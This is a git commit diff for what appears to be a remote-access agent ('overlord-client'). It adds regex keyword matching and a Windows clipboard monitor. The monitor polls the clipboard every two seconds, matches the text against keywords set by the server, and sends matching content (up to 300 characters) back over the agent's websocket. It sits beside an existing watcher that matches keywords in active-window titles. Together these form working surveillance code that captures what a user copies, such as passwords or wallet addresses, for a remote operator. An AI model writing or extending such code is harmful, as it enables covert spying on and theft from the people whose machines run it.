add regex support and clipboard support to notification center

This commit is contained in:
KingKDot
2026-03-18 23:46:44 -05:00
parent a73707c930
commit 6c7a71533c
15 changed files with 295 additions and 31 deletions
@@ -91,23 +91,6 @@ func Start(ctx context.Context, env *runtime.Env) error {
}
}
func matchKeyword(title string, keywords []string) string {
if title == "" {
return ""
}
lower := strings.ToLower(title)
for _, kw := range keywords {
k := strings.ToLower(strings.TrimSpace(kw))
if k == "" {
continue
}
if strings.Contains(lower, k) {
return kw
}
}
return ""
}
func getActiveWindow() (string, uint32) {
hwnd := getForegroundWindow()
if hwnd == 0 {
@@ -0,0 +1,13 @@
//go:build !windows
package activewindow
import (
"context"
"overlord-client/cmd/agent/runtime"
)
func StartClipboard(_ context.Context, _ *runtime.Env) error {
return nil
}
@@ -0,0 +1,127 @@
//go:build windows
package activewindow
import (
"context"
"log"
"strings"
"time"
"unsafe"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
"golang.org/x/sys/windows"
)
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGlobalLock = kernel32.NewProc("GlobalLock")
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
procOpenClipboard = user32.NewProc("OpenClipboard")
procCloseClipboard = user32.NewProc("CloseClipboard")
procGetClipboardData = user32.NewProc("GetClipboardData")
)
const cfUnicodeText = 13
func StartClipboard(ctx context.Context, env *runtime.Env) error {
if env == nil {
return nil
}
log.Printf("clipboard: starting monitor")
defer log.Printf("clipboard: stopped")
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
var lastContent string
lastSent := make(map[string]int64)
for {
select {
case <-ctx.Done():
return nil
case <-ticker.C:
if !env.GetClipboardEnabled() {
continue
}
keywords := env.GetNotificationKeywords()
if len(keywords) == 0 {
continue
}
minIntervalMs := env.GetNotificationMinIntervalMs()
content := readClipboardText()
if content == "" || content == lastContent {
continue
}
lastContent = content
match := matchKeyword(content, keywords)
if match == "" {
continue
}
if minIntervalMs > 0 {
key := "clipboard:" + strings.ToLower(match)
if last, ok := lastSent[key]; ok {
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
continue
}
}
lastSent[key] = time.Now().UnixMilli()
}
title := content
if len(title) > 300 {
title = title[:300]
}
note := wire.Notification{
Type: "notification",
Category: "clipboard",
Title: title,
Keyword: match,
TS: time.Now().UnixMilli(),
}
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
log.Printf("clipboard: send notification failed: %v", err)
}
}
}
}
func readClipboardText() string {
r, _, _ := procOpenClipboard.Call(0)
if r == 0 {
return ""
}
defer procCloseClipboard.Call()
h, _, _ := procGetClipboardData.Call(cfUnicodeText)
if h == 0 {
return ""
}
ptr, _, _ := procGlobalLock.Call(h)
if ptr == 0 {
return ""
}
defer procGlobalUnlock.Call(h)
return utf16PtrFromUintptr(ptr)
}
func utf16PtrFromUintptr(ptr uintptr) string {
if ptr == 0 {
return ""
}
n := 0
for {
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
if v == 0 {
break
}
n++
if n > 1<<20 {
break
}
}
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
return windows.UTF16ToString(u16)
}
@@ -0,0 +1,55 @@
package activewindow
import (
"regexp"
"strings"
)
func matchKeyword(text string, keywords []string) string {
if text == "" {
return ""
}
lower := strings.ToLower(text)
for _, kw := range keywords {
trimmed := strings.TrimSpace(kw)
if trimmed == "" {
continue
}
if strings.HasPrefix(trimmed, "/") {
re, ok := parseRegexKeyword(trimmed)
if ok && re.MatchString(text) {
return kw
}
} else {
if strings.Contains(lower, strings.ToLower(trimmed)) {
return kw
}
}
}
return ""
}
func parseRegexKeyword(kw string) (*regexp.Regexp, bool) {
if !strings.HasPrefix(kw, "/") {
return nil, false
}
rest := kw[1:]
lastSlash := strings.LastIndex(rest, "/")
if lastSlash < 0 {
return nil, false
}
pattern := rest[:lastSlash]
flags := rest[lastSlash+1:]
if pattern == "" {
return nil, false
}
regexStr := pattern
if strings.ContainsRune(flags, 'i') {
regexStr = "(?i)" + pattern
}
re, err := regexp.Compile(regexStr)
if err != nil {
return nil, false
}
return re, true
}
@@ -16,6 +16,7 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
var keywords []string
minInterval := 0
clipboardEnabled := false
if raw, ok := envelope["notification"].(map[string]interface{}); ok {
if rawKeywords, ok := raw["keywords"].([]interface{}); ok {
@@ -34,11 +35,14 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
if v, ok := raw["minIntervalMs"].(int); ok {
minInterval = v
}
if v, ok := raw["clipboardEnabled"].(bool); ok {
clipboardEnabled = v
}
}
if len(keywords) > 0 || minInterval > 0 {
env.SetNotificationConfig(keywords, minInterval)
log.Printf("hello ack: loaded %d notification keywords", len(keywords))
env.SetNotificationConfig(keywords, minInterval, clipboardEnabled)
log.Printf("hello ack: loaded %d notification keywords clipboard=%v", len(keywords), clipboardEnabled)
}
return nil
}
@@ -15,6 +15,7 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[
var keywords []string
minInterval := 0
clipboardEnabled := false
if raw, ok := envelope["keywords"].([]interface{}); ok {
for _, v := range raw {
@@ -32,8 +33,11 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[
if v, ok := envelope["minIntervalMs"].(int); ok {
minInterval = v
}
if v, ok := envelope["clipboardEnabled"].(bool); ok {
clipboardEnabled = v
}
env.SetNotificationConfig(keywords, minInterval)
log.Printf("notification_config: loaded %d keywords", len(keywords))
env.SetNotificationConfig(keywords, minInterval, clipboardEnabled)
log.Printf("notification_config: loaded %d keywords clipboard=%v", len(keywords), clipboardEnabled)
return nil
}
+9 -1
View File
@@ -46,15 +46,17 @@ type Env struct {
NotificationMu sync.RWMutex
NotificationKeywords []string
NotificationMinIntervalMs int
NotificationClipboard bool
LastPongUnixMs int64
}
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) {
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) {
e.NotificationMu.Lock()
e.NotificationKeywords = keywords
if minIntervalMs > 0 {
e.NotificationMinIntervalMs = minIntervalMs
}
e.NotificationClipboard = clipboardEnabled
e.NotificationMu.Unlock()
}
@@ -75,6 +77,12 @@ func (e *Env) GetNotificationMinIntervalMs() int {
return e.NotificationMinIntervalMs
}
func (e *Env) GetClipboardEnabled() bool {
e.NotificationMu.RLock()
defer e.NotificationMu.RUnlock()
return e.NotificationClipboard
}
func (e *Env) SetLastPong(tsMillis int64) {
if tsMillis <= 0 {
tsMillis = time.Now().UnixMilli()
+6
View File
@@ -482,6 +482,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
}
})
goSafe("clipboard", nil, func() {
if err := activewindow.StartClipboard(ctx, env); err != nil {
log.Printf("clipboard error: %v", err)
}
})
return <-readErr
}